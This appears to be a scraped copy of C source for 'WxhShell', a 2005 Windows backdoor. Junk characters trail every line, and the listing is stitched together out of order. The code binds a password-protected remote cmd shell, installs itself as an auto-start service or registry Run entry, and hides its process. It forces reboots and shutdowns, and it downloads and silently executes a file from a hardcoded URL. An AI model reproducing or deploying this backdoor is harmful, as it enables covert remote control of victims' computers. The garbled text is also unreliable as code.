  case 'd': { x=+H@YO\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8`<GplO  
    if(Boot(SHUTDOWN)) :RG6gvz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $9$NX/P  
    else { gW%(_H mX  
    closesocket(wsh); a2n#T,kq&  
    ExitThread(0); EPfVS  
    } wEqCuhZ  
    break; 6f1Y:qK'@  
    } (b5af_ c  
  // 获取shell >@W#@W*I@  
  case 's': { KLB?GN?Pb  
    CmdShell(wsh); A}O9e  
    closesocket(wsh); D7wWk ,B  
    ExitThread(0); #{PNdINoU  
    break; cFo-NI2  
  } Nzt1JHRS  
  // 退出 SesO$=y  
  case 'x': { Ml ^Tb#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HRh".!lxy  
    CloseIt(wsh); o$;x[US  
    break; B 8,{jwB  
    } 4,8 =[  
  // 离开 \`&fr+x  
  case 'q': { A 2 )%+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wVX0!y6  
    closesocket(wsh); ^|z>NV5>  
    WSACleanup(); Ac%K+Pgk.  
    exit(1); ~KvCb3~X  
    break; $'wl{D"  
        } 7 |A,GH  
  } ponvi42u  
  } "Y6mM_flq  
p5ihuV,   
  // 提示信息 4G2V{(@QiZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \v_( *  
}  }P#gXG  
  } DO; 2)ZQ%  
fx5vaM!  
  return; pj`-T"Q  
} iddT.   
$cedO']  
// shell模块句柄 v'=APl+_  
int CmdShell(SOCKET sock) "a7d`l:  
{ :7zI!edu  
STARTUPINFO si; HF:PF"|3  
ZeroMemory(&si,sizeof(si)); $fO*229As  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J.(_c ' r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,GlK_-6>  
PROCESS_INFORMATION ProcessInfo; Q2uE_w`B  
char cmdline[]="cmd"; V2X(f6v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7y3; F7V  
  return 0; *!kg@ _0K  
} =T`-h"E~@  
* bK@A2`  
// 自身启动模式 kzT'  
int StartFromService(void) * G4;  
{ X"sN~Q.0  
typedef struct TM;)[R@  
{ V8/o@I{U[  
  DWORD ExitStatus; nEYJ?_55  
  DWORD PebBaseAddress; H?m2|.  
  DWORD AffinityMask; z m%\L/BF  
  DWORD BasePriority; k-/$8C  
  ULONG UniqueProcessId; uVocl,?.L  
  ULONG InheritedFromUniqueProcessId; C}Q2UK-:  
}   PROCESS_BASIC_INFORMATION; Z^'; xn  
 AHb   
PROCNTQSIP NtQueryInformationProcess; K.SHY!U}  
l/5/|UE9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `N0E;=g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Et (prmH  
P:+:Cm<  
  HANDLE             hProcess; p%_TbH3j`  
  PROCESS_BASIC_INFORMATION pbi; AKVmUS;70  
=/;(qy9.-R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q\Eq(2p  
  if(NULL == hInst ) return 0; o/xE O=AW  
pI4<` K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V& m\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ()Z$j,2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]c D!~nJ  
4{_5z7ody  
  if (!NtQueryInformationProcess) return 0; Wil +"[Ge  
2=  _.K(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #"|Ey6&  
  if(!hProcess) return 0; BeRn9[  
~H.;pJ{ 8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9b0Z Ey{  
NZ#z{JI =+  
  CloseHandle(hProcess); AMr9rBd  
Fpb1.Iz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Gu-Sv!4p  
if(hProcess==NULL) return 0; *,(`%b[  
DbDpdC;  
HMODULE hMod; /i<g>*82  
char procName[255]; !PgYn  
unsigned long cbNeeded; oUqNA|l T  
;AaF;zPV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Wd7*sa3T  
)-mB^7uXGv  
  CloseHandle(hProcess); VC@o]t5  
eP)RP6ON{  
if(strstr(procName,"services")) return 1; // 以服务启动 "](~VF[J8  
XxGm,A+>Ty  
  return 0; // 注册表启动 g!8-yri  
} +hfl.OBy  
;O CYx[|  
// 主模块 #S"=)BZ8L  
int StartWxhshell(LPSTR lpCmdLine) a?;{0I:Ln  
{ PrCq JY  
  SOCKET wsl; /#a$4 }2L  
BOOL val=TRUE; l!b#v`  
  int port=0; JkKI/ 5h  
  struct sockaddr_in door; >y?$aJ8ZV  
<K43f#%  
  if(wscfg.ws_autoins) Install(); ]T$~a8  
l}m@9 ~oC  
port=atoi(lpCmdLine); D`ZYF)[}J  
r`=d4dK-  
if(port<=0) port=wscfg.ws_port; {MHr]A}X\  
,T]okN5uI  
  WSADATA data; $I.'7 &h;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lr1i DwZV  
[W2k#-%G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .hvIq .vr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a^22H  
  door.sin_family = AF_INET; -6? 5|\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b@7 ItzD  
  door.sin_port = htons(port); o,29C7Ii  
h:|aQJG5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nPKj%g3h  
closesocket(wsl); "m!Cl-+u  
return 1; TPrwC~\B/  
} "Kqe4$  
Nz m 7E]  
  if(listen(wsl,2) == INVALID_SOCKET) { mGIS[_dcs  
closesocket(wsl); PKP( :3|  
return 1; xd* kNY  
} X0m\   
  Wxhshell(wsl); EprgLZ1B  
  WSACleanup(); qZ4DO*%b3  
H)5]K9D  
return 0; D~-Ri`k.  
p%}oo#%J  
} ZY83, :<  
'p<(6*,"  
// 以NT服务方式启动 yPL@uCzA@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rn(T Z}  
{ [u<1DR  
DWORD   status = 0; s>kzt1,x  
  DWORD   specificError = 0xfffffff; \=.iM?T  
"2 Kh2[K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W<~(ieu:K~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; km *$;Nli  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j}y"  
  serviceStatus.dwWin32ExitCode     = 0; smSUo /  
  serviceStatus.dwServiceSpecificExitCode = 0; k}/0B  
  serviceStatus.dwCheckPoint       = 0; ,ujoGSx}  
  serviceStatus.dwWaitHint       = 0; 5@i/4%S  
Ef#%4ky  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C\1Dy5  
  if (hServiceStatusHandle==0) return; X@ TQD  
U:_&aY_  
status = GetLastError(); :Bl $c,J  
  if (status!=NO_ERROR) 5R qkAC  
{ V97Eb>@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 291v R]  
    serviceStatus.dwCheckPoint       = 0; =x=#Etj|  
    serviceStatus.dwWaitHint       = 0; |S/nq_g]  
    serviceStatus.dwWin32ExitCode     = status; myH#.$=A  
    serviceStatus.dwServiceSpecificExitCode = specificError; !bQ5CB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zE<}_nA  
    return; KX{S8_  
  } &7;W=uF  
w* v%S   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =E{1QA0  
  serviceStatus.dwCheckPoint       = 0; 5=l Ava#  
  serviceStatus.dwWaitHint       = 0; 'y@0P5[se  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #*5A]"k  
} gg933TLu(Q  
xmbkn}@A  
// 处理NT服务事件,比如:启动、停止 =*}|y;I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R`Q9|yF\  
{ JPmW0wM  
switch(fdwControl) h T4fKc7P  
{ [gU z9iU  
case SERVICE_CONTROL_STOP: EyozhIV  
  serviceStatus.dwWin32ExitCode = 0; x#U?~6.6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WG9x_X&XJ  
  serviceStatus.dwCheckPoint   = 0; B+,Z 3*  
  serviceStatus.dwWaitHint     = 0; 41$7P[M;  
  { kZfO`BVL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <wa}A!fu  
  } gzxLHPiw  
  return; LvB-%@n  
case SERVICE_CONTROL_PAUSE: =xg pr*   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DT;Hr4Z8^"  
  break; {um~]  
case SERVICE_CONTROL_CONTINUE: hmQD-E{Ab  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dKhDO`.s  
  break; Y!}BmRLh2  
case SERVICE_CONTROL_INTERROGATE: V*LpO 8=  
  break; rT <=`9^{  
}; }]kzj0m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {l! [{  
} ^[!LU  
K@6$|.bc  
// 标准应用程序主函数 ji:JLvf]%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4k}u`8 a  
{ S&FMFXF@  
5s`NR<|2L  
// 获取操作系统版本 m%ak]rv([  
OsIsNt=GetOsVer(); a,!c6'QE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d-lC|5U%  
Za5*HCo  
  // 从命令行安装 7\<#z|  
  if(strpbrk(lpCmdLine,"iI")) Install(); c)+IX;q-C  
Vf,t=$.[Q  
  // 下载执行文件 ~#N^@a  
if(wscfg.ws_downexe) { $yBU ,lu}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Mvu!  
  WinExec(wscfg.ws_filenam,SW_HIDE); c[f  
} ^|(F|Z  
u9_ Fjm}&  
if(!OsIsNt) { nTyK Z(#u  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ub%5# <k|-  
HideProc(); )Yy`$`  
StartWxhshell(lpCmdLine); ohOze\T)=  
}  5'Y @c  
else Syo1Dq6z.  
  if(StartFromService()) (ybKACx  
  // 以服务方式启动 5l}v  
  StartServiceCtrlDispatcher(DispatchTable); H4MFTnJ{  
else d?.ewsC  
  // 普通方式启动 {a\m0Bw/  
  StartWxhshell(lpCmdLine); 7&qunK'  
KYZ/b8C  
return 0; }PUQvIGZZ&  
} m6bAvy]3<t  
"oz qfh  
^g"G1,[%w  
>iDV8y  
=========================================== `a*[@a#  
Tm 6<^5t  
S)T~vK(n  
=bi:<%"  
TkM8GK-3  
q]DV49UK  
" :D""c*  
i]JD::P_H  
#include <stdio.h> (3C::B=  
#include <string.h> |L 11?{ K  
#include <windows.h> nRzD[ 3I  
#include <winsock2.h> %A|9=x*  
#include <winsvc.h> F2saGpGH  
#include <urlmon.h> _8v8qT}O~4  
>,yE;zuw  
#pragma comment (lib, "Ws2_32.lib") tt $DWmm  
#pragma comment (lib, "urlmon.lib") V>>"nf,YO  
,6uON@  
#define MAX_USER   100 // 最大客户端连接数 |#^wYZO1U  
#define BUF_SOCK   200 // sock buffer T@ (MSgp9  
#define KEY_BUFF   255 // 输入 buffer @FKm_q  
E3@G^Y  
#define REBOOT     0   // 重启 4V@raI-  
#define SHUTDOWN   1   // 关机 $WED]X@X!  
g 4G&  
#define DEF_PORT   5000 // 监听端口 ?);6]"k:3  
JK) )Cuh  
#define REG_LEN     16   // 注册表键长度 ;'~U5Po8  
#define SVC_LEN     80   // NT服务名长度 >4b:`L  
1qp<Fz[  
// 从dll定义API d"`/P?n x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?Z 9C}t]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pnl7a$z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Uus%1hC%a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?%-VSL>$w=  
Up*1j:_O  
// wxhshell配置信息 ND $m|V-C  
struct WSCFG { I|8'#QX  
  int ws_port;         // 监听端口 0}tf*M+a  
  char ws_passstr[REG_LEN]; // 口令 2.)xWCG  
  int ws_autoins;       // 安装标记, 1=yes 0=no c5C 2xE}T  
  char ws_regname[REG_LEN]; // 注册表键名 094~  s  
  char ws_svcname[REG_LEN]; // 服务名 @TBcVHy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #bc$[%_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W5z<+8R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 / Vy pN,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no awxzP*6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O< [h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K9O%SfshF  
xVw9_il2a  
}; 5#|D1A  
[CxnGeKK  
// default Wxhshell configuration Mm7;'Zbg  
struct WSCFG wscfg={DEF_PORT, q#s:2#=  
    "xuhuanlingzhe", %Z_/MNI  
    1, 6Y9FU  
    "Wxhshell", ,\8F27  
    "Wxhshell", a@4 Z x  
            "WxhShell Service", p)2 !_0  
    "Wrsky Windows CmdShell Service", }%2hBl/  
    "Please Input Your Password: ", 9j<qi\SSI  
  1, r&!Ebe-  
  "http://www.wrsky.com/wxhshell.exe", %:Mi6 sR|  
  "Wxhshell.exe" T-,T)R`R  
    }; ^F\RM4|,  
l Oxz&m  
// 消息定义模块 n@%Q 2_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {&7%wZ"t_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M:TN^ rA|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0> {&8:  
char *msg_ws_ext="\n\rExit."; Ad7N '1O  
char *msg_ws_end="\n\rQuit."; fz>3  
char *msg_ws_boot="\n\rReboot..."; VS` tj  
char *msg_ws_poff="\n\rShutdown..."; E&>3{uZI  
char *msg_ws_down="\n\rSave to "; tV.qdy/]}  
]rC2jB\,M  
char *msg_ws_err="\n\rErr!"; $[(amj-;l  
char *msg_ws_ok="\n\rOK!"; 'C[{cr.`  
eV(nexE  
char ExeFile[MAX_PATH]; J34/rL/s  
int nUser = 0; 3QSA|  
HANDLE handles[MAX_USER]; ,jH<i.2R  
int OsIsNt; l/*NscYtQ  
6="Qwrk  
SERVICE_STATUS       serviceStatus; 0SS,fs<w3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J n>3c  
P'}WmE'B}F  
// 函数声明 >%6a$r~@  
int Install(void); ]cQYSN7!SY  
int Uninstall(void); fGdT2}gd  
int DownloadFile(char *sURL, SOCKET wsh); mv1g2f+  
int Boot(int flag); JJC Y M  
void HideProc(void); xD.Uh}:J  
int GetOsVer(void); X 8/9x-E_  
int Wxhshell(SOCKET wsl); 2><=U7~  
void TalkWithClient(void *cs); /6fa 7;  
int CmdShell(SOCKET sock); X%X`o%AqC  
int StartFromService(void); R;d)I^@  
int StartWxhshell(LPSTR lpCmdLine); 0+3_CS++r  
 >;qAj!'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q' b@5o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }^Ymg7wA  
/FJ.W<hw  
// 数据结构和表定义 :<}1as! eo  
SERVICE_TABLE_ENTRY DispatchTable[] = LOO<)XFJ  
{  {^8->V  
{wscfg.ws_svcname, NTServiceMain}, WR|n>i@m  
{NULL, NULL} bv:M zYS  
}; LI~ofCp  
P55QE+B  
// 自我安装 [k~}Fe) x  
int Install(void) ;bYS#Bid{V  
{ qQN|\u+co  
  char svExeFile[MAX_PATH]; %m/W4Nk  
  HKEY key; FH3^@@Y%  
  strcpy(svExeFile,ExeFile); t GS>f>i  
t/$:g9V%FA  
// 如果是win9x系统,修改注册表设为自启动 /E %^s3S.  
if(!OsIsNt) { y,/Arl}yc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7=hISQMsVP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gI T3A*x  
  RegCloseKey(key); 0%(.$c>:f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |7# S0Ca@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r+RFDg/  
  RegCloseKey(key); KT3n -Y-,  
  return 0; QH5[}zs8  
    } b}APD))*H!  
  } HpKF7oJ'N  
} 7jS`4,  
else { HuI?kLfj\  
UwtL v d  
// 如果是NT以上系统,安装为系统服务 / biB *Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N+N98~Y`P  
if (schSCManager!=0) Dve+ #H6N  
{ )lh Pl  
  SC_HANDLE schService = CreateService #@UzOQ>  
  ( aam6R/4  
  schSCManager, XM#xxf* Y  
  wscfg.ws_svcname, fW3 awR{  
  wscfg.ws_svcdisp, ~bD'QMk  
  SERVICE_ALL_ACCESS, ?mi1PNps#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b[/uSwvi  
  SERVICE_AUTO_START, p)e?0m26  
  SERVICE_ERROR_NORMAL, .P:mY C  
  svExeFile, w<|Qezi3 w  
  NULL, xJ rKH  
  NULL, Spm0DqqR?  
  NULL, }!_ofe  
  NULL, 7Zw.mM!i  
  NULL 2kfX_RK  
  ); )`z{T  
  if (schService!=0) #S|DoeFs  
  {  o%SD\zk  
  CloseServiceHandle(schService); N|-'Fu  
  CloseServiceHandle(schSCManager); 4:0y\M5u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Vh}F#~BrI  
  strcat(svExeFile,wscfg.ws_svcname); H&*KpOL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HU1ZQkf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bu:%"l  
  RegCloseKey(key); `JAM]qB"  
  return 0; X/qLg+X  
    } Tg jM@ir  
  } `^mY*Cb e  
  CloseServiceHandle(schSCManager); BM>'w,$KL  
} dWi:V 7t+  
} $6DA<v^=z  
&YOks.k  
return 1; 7#[8td  
} *l.tsICmbP  
ym*oCfu=  
// 自我卸载 xH4Qv[k Q7  
int Uninstall(void) aovw'O\Q  
{ i"RBk%  
  HKEY key; g4f:K=5:  
o,gH*  
if(!OsIsNt) { p:Hg>Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9#MY(Hr  
  RegDeleteValue(key,wscfg.ws_regname); -d)+G%{  
  RegCloseKey(key); p0sq{d~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o>jM4sk$  
  RegDeleteValue(key,wscfg.ws_regname); c( 8>|^M  
  RegCloseKey(key); ?}ly`Js  
  return 0; "CY#_)  
  } _Squ%z:D  
} b-OniMq~  
} GX#SCZ&}C  
else { y!u=]BE  
J ?^R 1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xcM*D3  
if (schSCManager!=0) OzA'd\|  
{ R>;m6Rb_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3aUWQP2  
  if (schService!=0) J.Fy0W@+k4  
  { E (-@F%Q  
  if(DeleteService(schService)!=0) { "n%0L4J  
  CloseServiceHandle(schService); kNk$[Yfs  
  CloseServiceHandle(schSCManager); Hw 1:zro  
  return 0; y*<x@i+h  
  } vAcxca">S  
  CloseServiceHandle(schService); |w+N(wcJ  
  } Q4h6K 7  
  CloseServiceHandle(schSCManager); @<ILF69b  
} tl"?AQcBR  
} yOswqhz  
Yaix\*II  
return 1; LK:Jkjp^  
} yp?a7t M  
%DhM}f  
// 从指定url下载文件 srQ]TYH ,  
int DownloadFile(char *sURL, SOCKET wsh) 9D[Jn}E:  
{ A +41JMH  
  HRESULT hr; c-oIP~,  
char seps[]= "/"; yllEg9L0z  
char *token; W|CZA  
char *file; W,f XHYst  
char myURL[MAX_PATH]; ?aWMU?S  
char myFILE[MAX_PATH]; TGH"OXV*@  
)%wNVW 0C  
strcpy(myURL,sURL); Ku`u%5<  
  token=strtok(myURL,seps); $(fhO   
  while(token!=NULL) .K`EflN  
  { wCgi@\  
    file=token; {'a|$u+  
  token=strtok(NULL,seps); b Od<x >@  
  } FH)_L1n  
>K n7A  
GetCurrentDirectory(MAX_PATH,myFILE); &>A<{J@VL  
strcat(myFILE, "\\"); i_f\dkol  
strcat(myFILE, file); 952l1c!  
  send(wsh,myFILE,strlen(myFILE),0); *;:dJXR  
send(wsh,"...",3,0); oM(8'{S=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l4$Iv:  
  if(hr==S_OK) /i)>|U 4  
return 0; N~|Z@pU"  
else X" Upml  
return 1; ybU_x  
c^1tXu|&  
} $*+IsP!  
@hwe  
// 系统电源模块 sR;u#".  
int Boot(int flag) Xv<K>i>k  
{ ({0:1*lF@  
  HANDLE hToken; n?:%>Os$  
  TOKEN_PRIVILEGES tkp; * zt?y  
H b?0?^#  
  if(OsIsNt) { bbs'>D3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ps_q3Cyp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W<u,S  
    tkp.PrivilegeCount = 1; CB^.N>'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xi[\2g+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )F_nK f"a  
if(flag==REBOOT) { u'; 9zk/$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ./35_Vy/O  
  return 0; 5tl( $j  
} Q 6n!u;  
else { 3IG<Ot9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fj97_Q=  
  return 0; 1) Nj.#)  
} #QNa| f#=  
  } y.$Ae1a=  
  else { hQ (84u  
if(flag==REBOOT) { t76B0L{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^X;p8uBo  
  return 0;  k`w /  
} G@zJf)u}  
else { fS$;~@p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :i>If:>g  
  return 0; HCw,bRxm  
} h + <Jv   
} ckYT69U  
0.[tEnLZ  
return 1; *Wf Qi8  
} CE@[Z  
}<^QW't_Y  
// win9x进程隐藏模块 5?q 6g  
void HideProc(void) Y94S!TbB  
{ Z&of-[)  
{zalfw{+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ' eh }t  
  if ( hKernel != NULL ) a"&cm'\lL  
  { +c$:#9$ |  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _FxeZ4\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e2yCWolmTS  
    FreeLibrary(hKernel); :gn&wi  
  }  {H*  
jG{OLF6 !  
return; > f'aW  
}  ejc>  
x~Dj2 F]  
// 获取操作系统版本 JwQ/A[b  
int GetOsVer(void) =~>g--^U  
{ WbwwI)1  
  OSVERSIONINFO winfo; sYbmL`{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SBI *[  
  GetVersionEx(&winfo); nS](d2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i5aY{3!  
  return 1; G@txX '  
  else ]$=#:uf  
  return 0; x4K A8  
} @N ]]Cf>x  
U!(es0rX  
// 客户端句柄模块 _2Mpzv  
int Wxhshell(SOCKET wsl) qw 03]a  
{ ~F8xXW0  
  SOCKET wsh; pxn@rN#*  
  struct sockaddr_in client; !;;7:!)P  
  DWORD myID; < 0YoZSNGj  
&->ngzg  
  while(nUser<MAX_USER) #{?~XS  
{ fejC ,H4I  
  int nSize=sizeof(client); 9Dbbk/j|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }3_ >  
  if(wsh==INVALID_SOCKET) return 1; 7"F29\  
a7685Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j^%N:BQ&  
if(handles[nUser]==0) \ef:H&r  
  closesocket(wsh); b:cy(6G(  
else BOWOH  
  nUser++; %/ctt_p0x  
  } B77`azwF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SsPZva  
D^gS.X^  
  return 0; [X91nUz#  
} wh)F&@6 R!  
0*_E'0L8e  
// 关闭 socket R a"hdxH  
void CloseIt(SOCKET wsh) {A'*3(8  
{ "8"aYD_  
closesocket(wsh); u-_1)'  
nUser--; dyk(/# *7W  
ExitThread(0); )N*Jc @Y@  
} Mo5b @ [  
}m'n1tm;  
// 客户端请求句柄 a|jZg  
void TalkWithClient(void *cs) oKCv$>Y  
{ : _tt9J  
uXk]  
  SOCKET wsh=(SOCKET)cs; fY6~Z BvK  
  char pwd[SVC_LEN]; jwUX?`6jX  
  char cmd[KEY_BUFF]; I _gE`N  
char chr[1]; R1*4  
int i,j; B%tWi  
4Us_Z{.  
  while (nUser < MAX_USER) { ]x{.qTtw  
r?IBmatK/  
if(wscfg.ws_passstr) { e,&#,O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^,,}2dsb>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [Ky3WppR  
  //ZeroMemory(pwd,KEY_BUFF); x FWhr#5,  
      i=0; > lfuo  
  while(i<SVC_LEN) { lj UdsUw  
l&}}Io$?@  
  // 设置超时 u`&lTJgF/O  
  fd_set FdRead; RWGf]V]6  
  struct timeval TimeOut; TDUY&1[  
  FD_ZERO(&FdRead); #qh ,  
  FD_SET(wsh,&FdRead); \ H~zN]3^  
  TimeOut.tv_sec=8; D$7#&2y  
  TimeOut.tv_usec=0; 78Du  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6T4I,XrY_F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); & +*OV:[;  
X^Z!!KTH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ![ sXR  
  pwd=chr[0]; wYg!H>5  
  if(chr[0]==0xd || chr[0]==0xa) { L SP p  
  pwd=0; '&'m# H*:  
  break; 9}u,`&  
  } Xjkg7p,HD@  
  i++; DY9]$h*y  
    } JhfVm*,  
Fs].Fa  
  // 如果是非法用户,关闭 socket AYgXqmH~+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u*TC8!n  
} B\v+C!/f |  
B6Eu."T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 993f6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :aK?DtZ  
:8!RGtn  
while(1) { 5nUJ9sqA  
|K"Q>V2y  
  ZeroMemory(cmd,KEY_BUFF); ZZ7qSyBs?  
7/ ?QZN  
      // 自动支持客户端 telnet标准   MUAs(M;  
  j=0; ,wwO0,"y7  
  while(j<KEY_BUFF) { IHYLM;@L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dH!z<~  
  cmd[j]=chr[0]; An$2='=/  
  if(chr[0]==0xa || chr[0]==0xd) { xC,x_:R`  
  cmd[j]=0; s4~[GO6>  
  break; Vv45w#w;  
  } +.Ij%S[Px5  
  j++; e=WjFnK[x7  
    } )@X0'X<  
aL( hWE  
  // 下载文件 1[^YK6a/  
  if(strstr(cmd,"http://")) { #3QPcoxa  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u0c}[BAF  
  if(DownloadFile(cmd,wsh)) iN[x *A|h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =9X1+x  
  else 68Gywk3]=u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _ i}W1i  
  } +yp:douERi  
  else { $2Whb!7Z(  
4P&2Z0  
    switch(cmd[0]) { "FWx;65CR  
  RqtBz3v  
